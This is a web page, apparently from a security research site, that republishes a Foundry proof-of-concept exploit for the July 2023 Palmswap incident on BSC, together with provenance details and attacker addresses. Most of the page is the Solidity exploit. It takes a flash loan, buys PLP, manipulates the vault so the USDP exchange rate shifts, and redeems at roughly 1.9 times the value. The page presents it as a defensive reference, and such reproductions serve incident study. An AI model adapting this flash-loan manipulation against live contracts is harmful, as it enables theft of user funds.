Skip to content
THREATWIRE

Public reproduction file

src/test/2023-07/Palmswap_exp.sol

Public reproduction file for dataset entry Palmswap.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/Palmswap_exp.sol104 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$900K
8// Attacker : https://bscscan.com/address/0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366
9// Attack Contract : https://bscscan.com/address/0x55252a6d50bfad0e5f1009541284c783686f7f25
10// Vulnerable Contract : https://bscscan.com/address/0xd990094a611c3de34664dd3664ebf979a1230fc1
11// Attack Tx : https://bscscan.com/tx/0x62dba55054fa628845fecded658ff5b1ec1c5823f1a5e0118601aa455a30eac9
13// @Analysis
14// https://twitter.com/BlockSecTeam/status/1683680026766737408
16interface IVault {
17 function buyUSDP(
18 address _receiver
19 ) external returns (uint256);
21 function sellUSDP(
22 address _receiver
23 ) external returns (uint256);
26interface ILiquidityEvent {
27 function purchasePlp(uint256 _amountIn, uint256 _minUsdp, uint256 _minPlp) external returns (uint256 amountOut);
29 function unstakeAndRedeemPlp(uint256 _plpAmount, uint256 _minOut, address _receiver) external returns (uint256);
32contract PalmswapTest is Test {
33 IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
34 IERC20 PLP = IERC20(0x8b47515579c39a31871D874a23Fb87517b975eCC);
35 IERC20 USDP = IERC20(0x04C7c8476F91D2D6Da5CaDA3B3e17FC4532Fe0cc);
36 IVault Vault = IVault(0x806f709558CDBBa39699FBf323C8fDA4e364Ac7A);
37 ILiquidityEvent LiquidityEvent = ILiquidityEvent(0xd990094A611c3De34664dd3664ebf979A1230FC1);
38 IAaveFlashloan RadiantLP = IAaveFlashloan(0xd50Cf00b6e600Dd036Ba8eF475677d816d6c4281);
39 address private constant plpManager = 0x6876B9804719d8D9F5AEb6ad1322270458fA99E0;
40 address private constant fPLP = 0x305496cecCe61491794a4c36D322b42Bb81da9c4;
42 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
44 function setUp() public {
45 cheats.createSelectFork("bsc", 30_248_637);
46 cheats.label(address(BUSDT), "BUSDT");
47 cheats.label(address(PLP), "PLP");
48 cheats.label(address(USDP), "USDP");
49 cheats.label(address(Vault), "Vault");
50 cheats.label(address(LiquidityEvent), "LiquidityEvent");
51 cheats.label(address(RadiantLP), "RadiantLP");
52 cheats.label(plpManager, "plpManager");
53 cheats.label(fPLP, "fPLP");
54 }
56 function testExploit() public {
57 deal(address(BUSDT), address(this), 0);
58 BUSDT.approve(plpManager, type(uint256).max);
59 BUSDT.approve(address(RadiantLP), type(uint256).max);
60 PLP.approve(fPLP, type(uint256).max);
62 emit log_named_decimal_uint(
63 "Attacker balance of BUSDT before exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()
64 );
66 takeFlashLoanOnRadiant();
68 emit log_named_decimal_uint(
69 "Attacker balance of BUSDT after exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()
70 );
71 }
73 function executeOperation(
74 address[] calldata assets,
75 uint256[] calldata amounts,
76 uint256[] calldata premiums,
77 address initiator,
78 bytes calldata params
79 ) external returns (bool) {
80 // Add liquidity. Exchange rate between USDP and PLP is 1:1
81 uint256 amountOut = LiquidityEvent.purchasePlp(1_000_000 * 1e18, 0, 0);
83 BUSDT.transfer(address(Vault), 2_000_000 * 1e18);
84 Vault.buyUSDP(address(this));
85 // Remove liquidity. Exchange rate between USDP and PLP is 1:1.9.
86 // Attacker is able to exchange for 1.9 times more USDP
87 uint256 amountUSDP = LiquidityEvent.unstakeAndRedeemPlp(amountOut - 13_294 * 1e15, 0, address(this));
89 USDP.transfer(address(Vault), amountUSDP - 3154 * 1e18);
90 Vault.sellUSDP(address(this));
92 return true;
93 }
95 function takeFlashLoanOnRadiant() internal {
96 address[] memory assets = new address[](1);
97 assets[0] = address(BUSDT);
98 uint256[] memory amounts = new uint256[](1);
99 amounts[0] = 3_000_000 * 1e18;
100 uint256[] memory modes = new uint256[](1);
101 modes[0] = 0;
102 RadiantLP.flashLoan(address(this), assets, amounts, modes, address(this), bytes(""), 0);
103 }

Analysis

Dataset entry

Public Foundry test for “Palmswap” (2023-07-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366

  • Attack Contract

    0x55252a6d50bfad0e5f1009541284c783686f7f25

  • Vulnerable Contract

    0xd990094a611c3de34664dd3664ebf979a1230fc1

  • Attack Tx

    0x62dba55054fa628845fecded658ff5b1ec1c5823f1a5e0118601aa455a30eac9

File record

Name
Palmswap
Path
src/test/2023-07/Palmswap_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
0d258fc30249497a340ed6ceb3ed6aeb4442cb22
Language
Solidity
Size
105 lines
Date
2023-07-24
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-07/Palmswap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0d258fc30249497a340ed6ceb3ed6aeb4442cb22, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.